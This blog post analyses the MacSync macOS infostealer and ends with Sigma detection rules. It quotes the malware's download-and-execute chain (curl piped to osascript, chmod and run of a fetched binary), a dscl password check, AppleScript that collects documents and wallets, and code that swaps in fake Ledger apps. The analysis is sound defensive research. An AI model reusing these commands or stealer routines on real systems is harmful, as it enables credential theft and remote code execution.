Post

MacSync Stealer Analysis

Most stealers are just 3 AMOS's in a trench coat, but this one's just wearing an AMOS fan club T-shirt.

MacSync Stealer Analysis

Ah yes, the ever-famous “before you read this” caveat. I want to take a quick moment to stress that I am not someone to be taken seriously, nor am I a professional who knows everything there is to know about MacOS malware, or any malware for that matter. This blog’s primary purpose was to serve as an outlet to motivate myself to learn more. If you find yourself reading this and thinking “no, that’s actually wrong” or “I would have done that differently”, take a pause and remember one important fact: I am an idiot. Okay, that’s enough qualifying and preamble, go read the blog.

This blog contains links to a live malware sample on Malware Bazaar. Please don’t be an idiot.

Introduction

I recently came across a malicious file App.bin (VT) (Malware Bazaar) that appeared to be related to the MacSync InfoStealer. Through some initial research and community outreach, I stumbled across what was very likely the initial curl command served to users by a malicious Paste & Run webpage:

curl -A Mac OS X 10_15_7 -fsSL hxxps://wave.ndoq-0[.]ru/r7h.check?t=[redacted]

From there, this gives us the convenient ability to execute this ourselves in a sandbox and conduct analysis.

The purpose of this blog will be to:

  • Review the observed attack timeline from our sandbox.
  • Rip apart the related AppleScript pulled down by the App.bin file.
  • Determine whether or not this is actually MacSync.
  • Answer the burning question: How do we hunt for it?
  • Learn something.

The Observed Attack Timeline

Evidence suggests the initial access vector for this malicious execution was Paste & Run. One piece of evidence I have to back this up is the initial curl command reaching out to wave.ndoq-0[.]ru which has comments on the community tab of VT pointing to ClearFake malware, which is known to utilize Paste & Run. It’s no stretch to assume this domain is being used to serve MacSync this way as well.

At the time of writing this blog, I did not have access to an interactive sandbox. This will become relevant near the bottom of the attack timeline, but we make up for that shortfall in the next section where we analyze the AppleScript itself.

Onto the timeline:

+00:00:00 Initial Curl

1
curl -A Mac OS X 10_15_7 -fsSL hxxps://wave.ndoq-0[.]ru/r7h.check?t=[redacted]

The first observed instance of curl reaching out to a malicious domain using the -A flag to send Mac OS X 10_15_7 as the user-agent string. While this string does exist in a legitimate user-agent string, it is incomplete. An expected user-agent string would be similar to:

1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15

I do not believe Mac OS X 10_15_7 is ever a legitimate user-agent string. I could be wrong though.

It’s likely this domain does not respond without this user-agent string paired with the t= token in the URL. As mentioned above, this URL also appears to be related to ClearFake malware, according to [VT](https://www.virustotal.com/gui/domain/wave.ndoq-0.ru/community), which appears to be running some paste & run` shenanigans at the time of writing.

+00:00:01 Pulling Down Malicious Mach-O Binary

1
2
3
4
5
sh -c cd "${TMPDIR:-/tmp}" # tmp directory go brr
&& curl -fsSL hxxps://58462.disruptmyself[.]com/App.bin -o update # gimme file
&& xattr -c update 2>/dev/null || true # remove xattributes
&& chmod +x update # make it executable
&& ./update # send it

This command line uses cd,, curl, xattr, and chmod which are all core system utilities. This command line uses cd to move into a relevant temp directory, curl -fsSL to reach out and pull down a remote payload App.bin from a malicious URL and saves it on disk as update which is a Universal Mach-O binary containing an x64 and an ARM64 executable.

Here’s a quick breakdown of curl -fsSL for those curious:

  • -f or --fail > Fail silently (no output on HTTP errors)
    • If the server returns an HTTP error (like 404 or 500), curl won’t show the HTML error page, it will just exit with a non-zero status code.
  • -s or --silent > Silent mode
    • Disables progress bars and error messages.
    • Makes the command output only the actual response data (if any).
  • -S or --show-error > Show errors even when silent
    • Works with -s.
    • If an error occurs, it will print the error message, even though other output is suppressed.
    • Basically: “be quiet unless something goes wrong.”
  • -L or --location > Follow redirects
    • If the server responds with a redirect (3xx status), curl will automatically follow the Location: header to the new URL.

It then uses xattr -c to clear out all attributes, and chmod +x to make it executable, then executes the renamed App.bin payload.

+00:00:01 Initial Execution of Mach-O Binary

bash executes ./update

+00:00:03 Executes Itself

update executes ./update

+00:00:03 Pulling Down AppleScript

update executes bash with the following command line:

1
2
sh -c curl -k -s -H "api-key: [key redacted]" hxxps://goalbus[.]space/dynamic?txd=[redacted] 
| osascript

This is the specific instance of curl where the malicious AppleScript is downloaded and piped to osascript. If you are executing this in a sandbox, you will notice the AppleScript pulled down from the goalbus URL is stored in the STD_OUT. This is because the output isn’t written to disk, it is stored in memory before being piped to osascript. I was able to yoink the AppleScript from the STD_OUT in this step for manual analysis in the next section of this blog.

If you aren’t familiar with osascript, it is a command-line tool on MacOS that runs scripts written in AppleScript or other languages compatible with the Open Scripting Architecture. Simply put, AppleScript is the scripting language, osascript is the tool to execute it.

+00:00:03 Osascript Execution

bash spawns osascript

This is the result of curl piping the malicious AppleScript into osascript and is where the AppleScript is initially executed.

+00:00:03 DSCL Auth Attempt

osascript spawns sh with the following command line:

1
sh -c dscl . authonly 'user' ''

This line is very important. After update is executed, the malicious AppleScript is used to prompt the user for their password then use dscl to attempt to authenticate said user against the local directory service. If the user does not enter their password, this line will contain a user name followed by empty single quotes '' where a password would have been. An example of this artifact where a user does enter their password would look like sh -c dscl . authonly 'user' 'password'.

What does this mean? Well, it appears the rest of the execution chain was terminated because I was unable to enter a password due to my sandbox not being interactive. There are further steps in the AppleScript execution chain that should have taken place that were not evident in this observed instance. It is very likely that there are checks in place in the AppleScript to terminate execution if this authentication step fails. We will review in the AppleScript section below.

+00:00:03 Killall Terminal

osascript spawns sh with the following command line:

1
sh -c killall Terminal

The AppleScript

Caveat: I will be sharing bits and pieces of the AppleScript here, however, I will not be sharing the whole thing. It is publicly available online if you look around enough. *cough cough* The original App.bin is at the top of this blog, you can analyze it yourself. *cough cough*

VM Awareness

The first thing I do for every single AppleScript file I come across is a Command + F for system_profiler to quickly find whether or not the script in question does basic VM checks. This one does:

1
2
3
set result to (
  do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
)

The interesting part? It still executed (mostly) successfully in the sandbox. Looks like their VM detection may be broken or outdated, since it executed in a sandbox without user input. (Or this information is queried for another reason.)

Digging In

The malicious AppleScript contains several hundred lines of code. In this code are several defined functions meant to determine the size of files, extract file names from paths, writing out text in the correct format, and many other custodial tasks. For example here is their take on a simple function to determine if something is a directory:

1
2
3
4
5
6
7
8
9
10
on isDirectory(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		set fileType to (do shell script "file -b " & filePosixPath)
		if fileType ends with "directory" then
			return true
		end if
		return false
	end try
end isDirectory

One of the first interesting things I came across while digging was a function to copy folders to a chosen destination. Within this function was a list of exceptions, or files to avoid:

1
2
3
set exceptionsList to {
  ".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"
}

Quickly following this was another function, checkvalid, that appears to use the dscl function to determine the validity of a user’s provided password. This function is likely responsible for the early termination observed in the above timeline.

1
2
3
4
5
6
7
8
9
10
11
12
on checkvalid(username, password_entered)
	try
		set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
		if result is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end checkvalid

Following this are several functions meant to gather system passwords, browser and plugin data, telegram data, crypto wallets, and files on disk. Notably, files from Desktop, Documents, and Downloads that match a set list of extensions are grabbed and copied to a destination folder. The extension list is as follows:

1
set extensionsList to {"pdf", "docx", "doc", "wallet", "keys", "db", "txt", "seed"}

Further down the file we can find some fingerprinting information. Notably a line that prints the current username and a version string into a final log file to be staged with the rest of the data that will be exfiltrated. In this fingerprinting information we can see one line that seems to do some heavy lifting in regard to whether or not this is MacSync.

1
writeText("MacSync Stealer\n\n", writemind & "info")

This fingerprinting block also contains the line to check for whether or not this script is executing from within a VM. As we can see, it simply prints the info into a file that later gets exfiltrated. The VM checking logic was not tied to any sort of execution termination.

1
2
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")

Immediately following this block, we have the main file-staging command line:

1
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"

After staging, it appears the AppleScript pulls down a fake ledger and fake trezor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try
    do shell script "curl -k --user-agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.1' -H 'api-key: [REDACTED]' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
    do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
    set app_exists to false
    try
        do shell script "test -e " & quoted form of LEDGERPATH
        set app_exists to true
    end try

    if app_exists then
		try
			do shell script "killall -9 'Ledger Live'"
		end try
        do shell script "rm -rf " & quoted form of LEDGERDEST
        do shell script "cp -R " & quoted form of LEDGERPATH & " " & quoted form of LEDGERAPPFOLDER
    end if
end try

The interesting thing about the above block is that it uses a Windows user-agent string while this executes on a MacOS system. This leaves us with a really good breadcrumb to hunt for in our own environments. I am not 100% positive of the purpose of the fake ledger and trezor apps at this time. If I had to wager a guess, I would assume they are for some sort of persistence, or simply further instructions packaged as later stage executables. I have been wrong before, though.

The only thing left to the script after this point is a curl -X POST to a malicious URL. This is the final exfiltration.


Is it MacSync?

Full transparency: I am terrible when it comes to attribution. At this point I can only point to the writeText("MacSync Stealer\n\n", writemind & "info") artifact, which seems definitive enough to me. ¯\_(ツ)_/¯


Hunting Opportunities

I have created a few sigma rules based on this activity that you may or may not find helpful. Please feel free to copy these and change them however you see fit.

MacSync Suspicious Curl Piped to osascript

This first rule was created to detect this command line activity:

1
2
sh -c curl -k -s -H "api-key: [key redacted]" hxxps://goalbus[.]space/dynamic?txd=[redacted] 
| osascript

The Sigma Rule:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
title: MacSync - Suspicious curl Piped to osascript on macOS
description: Detects use of curl piped into osascript.
status: experimental
author: IzzyBoop
date: 2025/10/21
logsource:
  product: macos
  category: process_creation
detection:
  selection:
    CommandLine|contains|all: 
      - 'sh -c curl'
      - 'osascript'
  condition: selection
level: high

MacSync Suspicious Curl Usage Masquerading as Windows

This second rule was created to detect this line observed in the AppleScript:

1
do shell script "curl -k --user-agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.1' -H 'api-key: [REDACTED]' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH

The Sigma Rule:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
title: MacSync - Suspicious Curl Usage Masquerading as Windows on MacOS
description: Detects curl commands on macOS that use fake Windows user-agents or headers, indicating possible data exfiltration or evasion attempts.
status: experimental
author: IzzyBoop
date: 2025/10/21
logsource:
  product: macos
  category: process_creation
detection:
  selection:
    Commandline|contains|all:
      - 'curl'
      - 'Windows'
      - 'Mozilla'
    CommandLine|contains:
     - '-A'
     - 'User-Agent'
     - 'user-agent'
  condition: selection
level: medium

MacSync Suspicious Curl Using Fake MacOS User-Agent

This last rule was created to detect this command line activity:

1
curl -A Mac OS X 10_15_7 -fsSL hxxps://wave.ndoq-0[.]ru/r7h.check?t=[redacted]

The Sigma Rule:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
title: MacSync - Suspicious Curl Using Fake UserAgent String
description: Detects use of curl using a specific fake user-agent string on MacOS
status: experimental
author: IzzyBoop
date: 2025/10/21
logsource:
  product: macos
  category: process_creation
detection:
  selection_curl:
    - Image|endswith: 'zsh'
    - CommandLine|contains: 'curl'
  selection_pipe_useragent:
    CommandLine|contains: '-A Mac OS X'
  selection_curl_fssl:
    CommandLine|contains: '-fsSL'
  condition: selection_curl and selection_pipe_useragent and selection_curl_fssl
level: high

Conclusion

Even if this specific sample isn’t novel, it reinforces a bigger pattern we’re seeing in MacOS threats that for the time being, the MacOS malware landscape appears to be hovering around infostealers. It is important that you keep up with current initial access vectors. Regardless of whether or not you run any Mac hosts in your environment, ensure your users understand how to identify Paste & Run / ClickFix / Fake Captcha.

I hope you had as much fun reading this as I did researching it. I learned a lot ripping apart this AppleScript and I hope I was able to impart some of my learning onto you.

That’s all for now. Stay curious, and maybe don’t curl random stuff from the internet. K, bye dorks <3.

This post is licensed under CC BY 4.0 by the author.